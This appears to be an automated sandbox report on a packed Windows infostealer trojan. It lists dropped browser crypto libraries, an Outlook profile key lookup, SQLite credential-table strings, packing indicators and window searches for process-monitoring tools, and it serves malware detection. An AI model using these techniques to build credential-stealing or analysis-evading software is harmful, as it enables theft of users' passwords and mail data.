Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D9087	0_2_006D9087
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A6942	0_2_007A6942
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007481A1	0_2_007481A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067A259	0_2_0067A259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069523B	0_2_0069523B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B1B66	0_2_007B1B66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A7C28	0_2_007A7C28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B6C06	0_2_007B6C06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074348A	0_2_0074348A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A957E	0_2_007A957E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B3557	0_2_007B3557
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C0DEC	0_2_006C0DEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00700DD5	0_2_00700DD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006525C0	0_2_006525C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071C5DA	0_2_0071C5DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AE597	0_2_007AE597
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00793E45	0_2_00793E45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A46B9	0_2_007A46B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00701E9D	0_2_00701E9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AAFEC	0_2_007AAFEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AFF8E	0_2_007AFF8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC35A0	0_2_6CBC35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06CF0	0_2_6CC06CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD6C80	0_2_6CBD6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCD4E0	0_2_6CBCD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC234A0	0_2_6CC234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2C4A0	0_2_6CC2C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED4D0	0_2_6CBED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD64C0	0_2_6CBD64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3545C	0_2_6CC3545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3AC00	0_2_6CC3AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC05C10	0_2_6CC05C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC12C10	0_2_6CC12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3542B	0_2_6CC3542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD5440	0_2_6CBD5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00DD0	0_2_6CC00DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC285F0	0_2_6CC285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0512	0_2_6CBF0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEED10	0_2_6CBEED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDFD00	0_2_6CBDFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC376E3	0_2_6CC376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE5E90	0_2_6CBE5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E680	0_2_6CC2E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCBEF0	0_2_6CBCBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDFEF0	0_2_6CBDFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC24EA0	0_2_6CC24EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC12E4E	0_2_6CC12E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC03E50	0_2_6CC03E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC36E63	0_2_6CC36E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC15600	0_2_6CC15600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCC670	0_2_6CBCC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC07E10	0_2_6CC07E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE9E50	0_2_6CBE9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC29E30	0_2_6CC29E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4640	0_2_6CBE4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6FF0	0_2_6CBF6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCDFE0	0_2_6CBCDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC177A0	0_2_6CC177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD9F00	0_2_6CBD9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC07710	0_2_6CC07710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC350C7	0_2_6CC350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF60A0	0_2_6CBF60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC058E0	0_2_6CC058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC0E0	0_2_6CBEC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD7810	0_2_6CBD7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0F070	0_2_6CC0F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0B820	0_2_6CC0B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14820	0_2_6CC14820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8850	0_2_6CBE8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED850	0_2_6CBED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFD9B0	0_2_6CBFD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCC9A0	0_2_6CBCC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC05190	0_2_6CC05190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC22990	0_2_6CC22990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1B970	0_2_6CC1B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3B170	0_2_6CC3B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDD960	0_2_6CBDD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEA940	0_2_6CBEA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC08AC0	0_2_6CC08AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDCAB0	0_2_6CBDCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC22A0	0_2_6CBC22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4AA0	0_2_6CBF4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0E2F0	0_2_6CC0E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE1AF0	0_2_6CBE1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3BA90	0_2_6CC3BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC32AB0	0_2_6CC32AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC09A60	0_2_6CC09A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC353C8	0_2_6CC353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCF380	0_2_6CBCF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC370	0_2_6CBDC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0D320	0_2_6CC0D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5340	0_2_6CBC5340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBFCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC094D0 appears 90 times

Source: file.exe, 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1694388376.000000006CE45000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yvwooyxr ZLIB complexity 0.9949618050273806

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CC27030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\94FQG6PU.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1552720700.000000001D45B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537454867.000000001D468000.00000004.00000020.00020000.00000000.sdmp, EBKJDBAAKJDGCBFHCFCG.0.dr, GDBFCGIIIJDBGCBGIDGI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1693911714.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 40%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1778688 > 1048576

Source: file.exe

Static PE information: Raw size of yvwooyxr is bigger than: 0x100000 < 0x19ae00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1694300033.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yvwooyxr:EW;wzpzwqon:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yvwooyxr:EW;wzpzwqon:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419270 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419270

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c0a76 should be: 0x1bad90

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yvwooyxr
Source: file.exe	Static PE information: section name: wzpzwqon
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008160C1 push ecx; mov dword ptr [esp], ebx	0_2_00816592
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083D0CF push eax; mov dword ptr [esp], edi	0_2_0083D0F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008780F0 push eax; mov dword ptr [esp], 59EE6DB2h	0_2_00878113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008780F0 push esi; mov dword ptr [esp], edx	0_2_00878194
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076E0F6 push 2E93E8F2h; mov dword ptr [esp], edx	0_2_0076E0FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006788C2 push eax; mov dword ptr [esp], 4F5F8DA5h	0_2_006788F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006788C2 push 381A8062h; mov dword ptr [esp], ecx	0_2_00678964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006788C2 push 1AF869A6h; mov dword ptr [esp], eax	0_2_00678982
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006788C2 push edi; mov dword ptr [esp], 797E3C6Eh	0_2_00678987
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006788C2 push ecx; mov dword ptr [esp], edx	0_2_006789E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push edx; mov dword ptr [esp], esi	0_2_007B5104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 4B2E70DEh; mov dword ptr [esp], edx	0_2_007B515A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 28B15BE1h; mov dword ptr [esp], edx	0_2_007B5186
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 382186F4h; mov dword ptr [esp], edx	0_2_007B5195
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push ecx; mov dword ptr [esp], edi	0_2_007B51C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 20E524D0h; mov dword ptr [esp], ecx	0_2_007B51CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 1955D67Eh; mov dword ptr [esp], esi	0_2_007B52A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 044B89B1h; mov dword ptr [esp], ebx	0_2_007B5308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 5D8D79E0h; mov dword ptr [esp], ebp	0_2_007B5470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push ecx; mov dword ptr [esp], ebp	0_2_007B554D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push ebp; mov dword ptr [esp], ecx	0_2_007B564C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push edx; mov dword ptr [esp], 00000076h	0_2_007B565B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push edx; mov dword ptr [esp], 7F874E22h	0_2_007B566F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push esi; mov dword ptr [esp], 0B6B9442h	0_2_007B56DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 5024EE28h; mov dword ptr [esp], eax	0_2_007B57C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 7DC2F3C7h; mov dword ptr [esp], ecx	0_2_007B582F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 05A65E6Eh; mov dword ptr [esp], edx	0_2_007B5850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 680EF8F5h; mov dword ptr [esp], edi	0_2_007B58C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push esi; mov dword ptr [esp], edx	0_2_007B59B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push esi; mov dword ptr [esp], edi	0_2_007B59F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8 push 355B1C30h; mov dword ptr [esp], edx	0_2_007B5ABC

Source: file.exe

Static PE information: section name: yvwooyxr entropy: 7.954486977598155

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
